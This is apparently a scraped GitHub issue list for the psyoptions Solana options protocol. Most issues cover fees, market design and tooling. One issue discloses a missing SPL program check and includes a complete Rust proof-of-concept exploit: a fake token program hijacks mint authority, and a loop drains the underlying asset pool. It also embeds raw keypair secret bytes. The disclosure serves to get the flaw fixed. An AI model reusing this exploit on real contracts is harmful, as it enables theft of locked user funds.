mithraiclabs / psyoptions Goto Github PK
View Code? Open in Web Editor NEWOptions contracts built on Solana for use with Serum
License: Apache License 2.0
Options contracts built on Solana for use with Serum
License: Apache License 2.0
Right now cross program invocations to serum permissioned markets are extremely hard to follow. We should put them into a serum cpi module inside the PsyAmerican program so they can be compiled in the crate.
Here is the NewOrder example:
https://github.com/mithraiclabs/psyoptions/blob/master/programs/cpi_examples/src/lib.rs#L318-L377
The program currently can't transfer Solana since it's only invoking SPL token transfers
With the deprecation of the token registry, if protocol owned tokens need names they have to be added.
https://github.com/solana-labs/token-list#adding-a-new-token
Maybe it's a separate instruction that takes underlying & quote addresses, looks at their meta data, and creates a deterministic name from the token meta and option meta.
Initializing an Option Market is expensive. The user sending the TX to initialize the market (Market Initializer
) will need to lock up a fair amount of SOL to allocate the needed storage for the Option Market.
IF there was a governance token, the token could be used to incentivize creation of markets by rewarding users for initializing markets.
An initial thought is to mint a governance token to the Market Initializer
when the market is initialized. However, this is not ideal since it could easily be gamed. Market Initializers
could initialize markets (lock up SOL), then close the market in order to unlock the SOL. Depending on price levels, this would create wash protocol activity when the price of the governance token was high enough to warrant the TX costs.
A better approach would be to mint the governance token to Market Initializer
during a mint option transaction. This achieves multiple positive outcomes. The Market Initializer
will think critically about what markets to initialize. The more activity an option market is likely to get, the more the perceived pay out from initializing it. This will ultimately reduce the number of markets that are likely to have no action, while maintaining an incentive for the Market Initializer
to lock up their SOL.
https://github.com/mithraiclabs/psyoptions/blob/master/programs/psy_american/src/lib.rs#L74
This allows anyone to replace and OptionMarket with their own. However i don't think this can be used to steal tokens since we would have to initialize the mints again which the SPL program forbids.
AC:
This task depends on having accounts to send various underlying assets too. (i.e. depends on #72 and #76)
If the amount per contract * 0.0003 is feasible (i.e. an integer) than we should charge a 3bps fee and send it to the appropriate address.
process_mint_covered_call
Nice to have
When the math doesn't work where amount_per_contract * fee_rate
is not an integer, then we should collect a flat fee of 1 USDC.
This case is to support writing contracts containing NFTs.
There are a few accounts that are unused and should be removed. E.g. associated_token_program
on InitMarket and MintOption
Underlying asset pool
Quote asset pool
Expiry + Settlement Period
to exchange LP tokens for underlying/quote assetMint a covered call by locking underlying asset
Buy an option token on serum and burn both LP token and Option tokens at the same time
Buy option from serum
Sell option on serum
OTM (need to get the underlying asset back to LP token holders)
ITM (need to get quote asset from option holders to LP token holders. Need to get underlying asset to Option Token holders)
There will be a grace settlement period post expiration for the Option holders to exercise their contract. This grace period allows the option holder the ability to exchange their quote asset for underlying asset at strike price. After the settlement period, LP token holders may claim either the underlying asset or quote asset depending on what’s in each pool
The JS bindings package should have a bundler to convert the files from source to different distribution versions. Probably want to have a commonjs, esm/mjs, and then es5 commonjs version. The package.json should probably point to the es5 one by default, and consumers who are either transpiling everything or only using it on targets that don't need to be transpiled can manually set the import to one of the other module names.
Another thing that would be good addition would be also copying over each binding function as a separate file, so that consumers who only use one of them get to tree shake our module.
The current code to initialize a Serum market with a PDA only allows 1 Serum market per OptionMarket.
#[account(init,
seeds = [&option_market.key().to_bytes()[..], b"serumMarket"],
bump,
space = market_space as usize,
payer = user_authority,
owner = *dex_program.key
)]
pub serum_market: AccountInfo<'info>,
The code should be updated to include the Serum market quote asset in the seeds. This will allow the OptionMarket to have a different Serum markets with different quote assets.
Related to #8
When there are a significant number of Option Writers in the registry, the amount of data returned to read Option Market Data could be up to 10MB. This is problematic and unnecessary when the application may only need access to some of the Option meta data (underlying asset mint, quote asset mint, option mint, etc).
One possible solution is to decouple the Option Writer Registry from the other data by moving it into its own account. The Option Market Data account could link to this account via another stored PublicKey
Closeable markets need to be implemented on the master
branch of Serum and on top of release 0.4.0
. Psy American uses DEX 0.4.0 now and in order to retrieve the locked SOL from current markets we need to implement closeable markets on top of that release that uses the prune_authority
to restrict market closing.
On the master branch there should be a separate close_authority
that is set on market initialization
We could store the bump_seed
on the OptionMarket so it doesn't have to be sent in every request that requires it.
closePostExpirationInstruction
function to generate the Solana TransactionInstruction
closePostExpiration
function to actually generate necessary data, the instruction, and fires off the TXexercisePostExpirationInstruction
function to generate the Solana TransactionInstruction
exercisePostExpiration
function to actually generate necessary data, the instruction, and fires off the TXconst MAX_CONTRACTS: usize = 10;
We currently have a limit on the max contracts because of how we serialize and deserialize the entire OptionMarket
with option_writer_registry included.
Based on the Solana Account data limits (~10MB as of this writing) and OptionMarket should really be able to hold > 30,000 OptionWriters in its registry. Allowing for that many open option contracts for a given market.
To get closer to this 30,000 limit for V1, we will need to avoid loading the entire registry into memory and some how shard / parse it more efficiently. Looping may prove to be an issue because of the Solana runtime compute limits.
When developing and testing locally it would be really nice to generate the required assets (underlying and quote). We might be able to use some SPL generating interface that others have used.
@Taylor123 can you see if there are any interfaces that can point to a localnet and create SPL tokens?
How could we allow the user to run a debit spread without collateral?
We should deploy to protocol to Solana Dev net so we can begin building and testing a UI.
Currently an adversary could pass in an account as the option market with nearly identical information where only the UA and QA amounts were changed. This would allow them to game the system and drain the vaults.
We need to figure out a mechanism which ties and validates, at the program level, the specific option account address to the vaults.
This feels like a best practice when generating instructions for cross program invocation.
The main purpose of this is to help guard against bugs that may arise when the accounts in the user's instruction do not match up to those expected in the Processor.
See process_exchange_writer_token_for_quote
for an example of how this can be done when burning/transfering SPL tokens
mintCoveredCallInstruction
function to generate the Solana TransactionInstruction
mintCoveredCall
function to actually generate necessary data, the instruction, and fires off the TXWe need to change the initialize_market
instruction to
Right now cross program invocations to serum permissioned markets are extremely hard to follow. We should put them into a module inside the PsyAmerican program so they can be compiled in the crate.
Here is the InitOpenOrders example: https://github.com/mithraiclabs/psyoptions/blob/master/programs/cpi_examples/src/lib.rs#L245-L315
This is a new one. We have a case where a contract holder can exercise pre-expiration. If for some reason there is a Writer with a Writer Token that would like to take the Quote Asset from the pool they should be allowed to burn their Writer Token in exchange for the quote_asset_amount per contract.
Instruction
For the Solana program integration tests we currently upload a new version of the program for every single integration test.
We should be able to upload once prior to the entire suite of tests and then reference that program id throughout all future tests in the run.
Because the protocol is so flexible, any SPL could be used to create an option market. So the fee collection needs to be flexible that the collection addresses aren't hard coded.
Serum must implement something similar and could be used as inspiration.
exerciseCoveredCallInstruction
function to generate the Solana TransactionInstruction
exerciseCoveredCall
function to actually generate necessary data, the instruction, and fires off the TXon devnet and testnet, sysvar accounts aren't needed anymore
The SPL program isn't checked in most functions which means an attacker can trick the contract into executing an controlled program. This can be used to change the authority of the option and writer mints which means the attacker can drain the contract.
The poc uses a fake SPL program in process_close_position which replaces the calls to burn with set_authority. Then it mints option and writer tokens and uses process_close_position to drain the underlying asset pool.
poc:
use poc_framework::devnet_client;
use solana_client::rpc_client::RpcClient;
use solana_options::{instruction::OptionsInstruction, market::OptionMarket};
use solana_sdk::{
clock::UnixTimestamp,
instruction::{AccountMeta, Instruction},
program_pack::Pack,
pubkey::Pubkey,
signature::{Keypair, Signer},
system_instruction::create_account,
sysvar,
transaction::Transaction,
};
use spl_token::instruction::{initialize_account, mint_to};
fn close_position(
program_id: &Pubkey,
spl_token: &Pubkey,
options_market: &Pubkey,
underlying_asset_pool: &Pubkey,
option_mint_key: &Pubkey,
option_token_source: &Pubkey,
option_token_source_authority: &Pubkey,
writer_token_mint: &Pubkey,
writer_token_source: &Pubkey,
writer_token_source_authority: &Pubkey,
underlying_asset_dest: &Pubkey,
) -> Instruction {
let (market_authority, _bump_seed) =
Pubkey::find_program_address(&[&options_market.to_bytes()[..32]], &program_id);
let data = OptionsInstruction::ClosePosition {}.pack();
let mut accounts = Vec::with_capacity(11);
accounts.push(AccountMeta::new_readonly(*spl_token, false));
accounts.push(AccountMeta::new_readonly(*options_market, false));
accounts.push(AccountMeta::new(*option_mint_key, false));
accounts.push(AccountMeta::new_readonly(market_authority, false));
accounts.push(AccountMeta::new(*option_token_source, false));
accounts.push(AccountMeta::new_readonly(
*option_token_source_authority,
false,
));
accounts.push(AccountMeta::new(*writer_token_mint, false));
accounts.push(AccountMeta::new(*writer_token_source, false));
accounts.push(AccountMeta::new_readonly(
*writer_token_source_authority,
false,
));
accounts.push(AccountMeta::new(*underlying_asset_dest, false));
accounts.push(AccountMeta::new(*underlying_asset_pool, false));
Instruction {
program_id: *program_id,
data,
accounts,
}
}
fn get_markets(client: &RpcClient, psyoptions_pubkey: &Pubkey) -> Vec<(Pubkey, OptionMarket)> {
client
.get_program_accounts(psyoptions_pubkey)
.unwrap()
.into_iter()
.map(|(key, acc)| (key, OptionMarket::unpack(&acc.data).unwrap()))
.collect::<Vec<_>>()
}
fn pwn(
client: &RpcClient,
psyoptions: &Pubkey,
payer: &Keypair,
key: &Pubkey,
market: &OptionMarket,
) {
let psyoptions = "4DvkJJBUiXMZVYXFGgYQvGceTuM7F5Be4HqWAiR7t2vM"
.parse()
.unwrap();
let recent_hash = client.get_recent_blockhash().unwrap().0;
let fake_spl_program = "EwjpvLLxsmqXJZg4XmfFNBNynPsyzjrvhL77eHobG6Pk"
.parse()
.unwrap();
let (market_authority, _bump_seed) =
Pubkey::find_program_address(&[&key.to_bytes()[..32]], &psyoptions);
let insn = close_position(
&psyoptions,
&fake_spl_program,
key,
&market.underlying_asset_pool,
&market.option_mint,
&spl_token::id(),
&market_authority,
&market.writer_token_mint,
&spl_token::id(),
&market_authority,
&Pubkey::new_unique(),
);
println!(
"take over mint: {:#?}",
client.send_and_confirm_transaction(&Transaction::new_signed_with_payer(
&[insn],
Some(&payer.pubkey()),
&[payer],
recent_hash
))
);
let balance = client
.get_token_account_balance(&market.underlying_asset_pool)
.unwrap()
.amount
.parse::<u64>()
.unwrap();
let drain_amount = balance / market.underlying_amount_per_contract;
let options_keypair = Keypair::new();
let writer_keypair = Keypair::new();
let payout_keypair = Keypair::new();
let insns = &[
create_account(
&payer.pubkey(),
&options_keypair.pubkey(),
10_000_000,
spl_token::state::Account::LEN as u64,
&spl_token::id(),
),
initialize_account(
&spl_token::id(),
&options_keypair.pubkey(),
&market.option_mint,
&payer.pubkey(),
)
.unwrap(),
create_account(
&payer.pubkey(),
&writer_keypair.pubkey(),
10_000_000,
spl_token::state::Account::LEN as u64,
&spl_token::id(),
),
initialize_account(
&spl_token::id(),
&writer_keypair.pubkey(),
&market.writer_token_mint,
&payer.pubkey(),
)
.unwrap(),
create_account(
&payer.pubkey(),
&payout_keypair.pubkey(),
10_000_000,
spl_token::state::Account::LEN as u64,
&spl_token::id(),
),
initialize_account(
&spl_token::id(),
&payout_keypair.pubkey(),
&market.underlying_asset_mint,
&payer.pubkey(),
)
.unwrap(),
];
println!(
"create token accounts: options = {:?}, writer = {:?}, payout = {:?}\n{:#?}",
options_keypair.pubkey(),
writer_keypair.pubkey(),
payout_keypair.pubkey(),
client.send_and_confirm_transaction(&Transaction::new_signed_with_payer(
insns,
Some(&payer.pubkey()),
&[payer, &options_keypair, &writer_keypair, &payout_keypair],
recent_hash
))
);
let insns = &[
mint_to(
&spl_token::id(),
&market.option_mint,
&options_keypair.pubkey(),
&payer.pubkey(),
&[],
drain_amount,
)
.unwrap(),
mint_to(
&spl_token::id(),
&market.writer_token_mint,
&writer_keypair.pubkey(),
&payer.pubkey(),
&[],
drain_amount,
)
.unwrap(),
];
println!(
"minting tokens: {:#?}",
client.send_and_confirm_transaction(&Transaction::new_signed_with_payer(
insns,
Some(&payer.pubkey()),
&[payer],
recent_hash
))
);
for _ in 0..drain_amount {
let insns = &[close_position(
&psyoptions,
&spl_token::id(),
key,
&market.underlying_asset_pool,
&market.option_mint,
&options_keypair.pubkey(),
&payer.pubkey(),
&market.writer_token_mint,
&writer_keypair.pubkey(),
&payer.pubkey(),
&payout_keypair.pubkey(),
)];
println!(
"draining account: {:#?}",
client.send_transaction(&Transaction::new_signed_with_payer(
insns,
Some(&payer.pubkey()),
&[payer],
client.get_recent_blockhash().unwrap().0
))
);
}
}
fn main() {
let psyoptions = "4DvkJJBUiXMZVYXFGgYQvGceTuM7F5Be4HqWAiR7t2vM"
.parse()
.unwrap();
let client = devnet_client();
let recent_hash = client.get_recent_blockhash().unwrap().0;
let payer = Keypair::from_bytes(&[
246, 147, 90, 92, 66, 5, 28, 87, 167, 228, 16, 235, 248, 102, 70, 125, 171, 194, 13, 98,
165, 236, 152, 182, 108, 154, 99, 109, 199, 34, 35, 75, 90, 210, 32, 94, 152, 106, 125, 69,
75, 82, 227, 74, 67, 42, 134, 41, 24, 218, 185, 106, 56, 44, 77, 90, 182, 130, 159, 97, 24,
86, 44, 154,
])
.unwrap();
let markets = get_markets(&client, &psyoptions);
let (key, market) = &markets[0];
pwn(&client, &psyoptions, &payer, key, market);
}
fake SPL program:
use solana_program::{
account_info::{next_account_info, AccountInfo},
entrypoint,
entrypoint::ProgramResult,
program::invoke,
pubkey::Pubkey,
};
use spl_token::instruction::{AuthorityType::MintTokens, TokenInstruction};
entrypoint!(process_instruction);
pub fn process_instruction(
_program_id: &Pubkey,
accounts: &[AccountInfo],
instruction_data: &[u8],
) -> ProgramResult {
let account_info_iter = &mut accounts.iter();
if let TokenInstruction::Burn { amount: _ } = TokenInstruction::unpack(instruction_data).unwrap() {
let token = next_account_info(account_info_iter)?; // this will be spl_token
let mint = next_account_info(account_info_iter)?; // this will be mint
let authority = next_account_info(account_info_iter)?; // this will be current authority of mint
let insn = spl_token::instruction::set_authority(
&spl_token::id(),
mint.key,
Some(
&"77XXisvtPQ5Zw9a8Ewy4RBUAPFqBqHDkbBNrT7ki7DY5"
.parse()
.unwrap(),
),
MintTokens,
authority.key,
&[],
)
.unwrap();
invoke(&insn, &[token.clone(), mint.clone(), authority.clone()])?;
}
Ok(())
}
With permissioned markets the Psy American protocol controls the OpenOrders accounts. So there needs to be an instruction that allows users to proxy a CloseOpenOrders
instruction
SPL Tokens have various decimals and we want to be able to support contracts for NFTs. To support, we need a function that determines if a 0.03% fee is feasible given the SPL Token that the fee will be taken in.
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.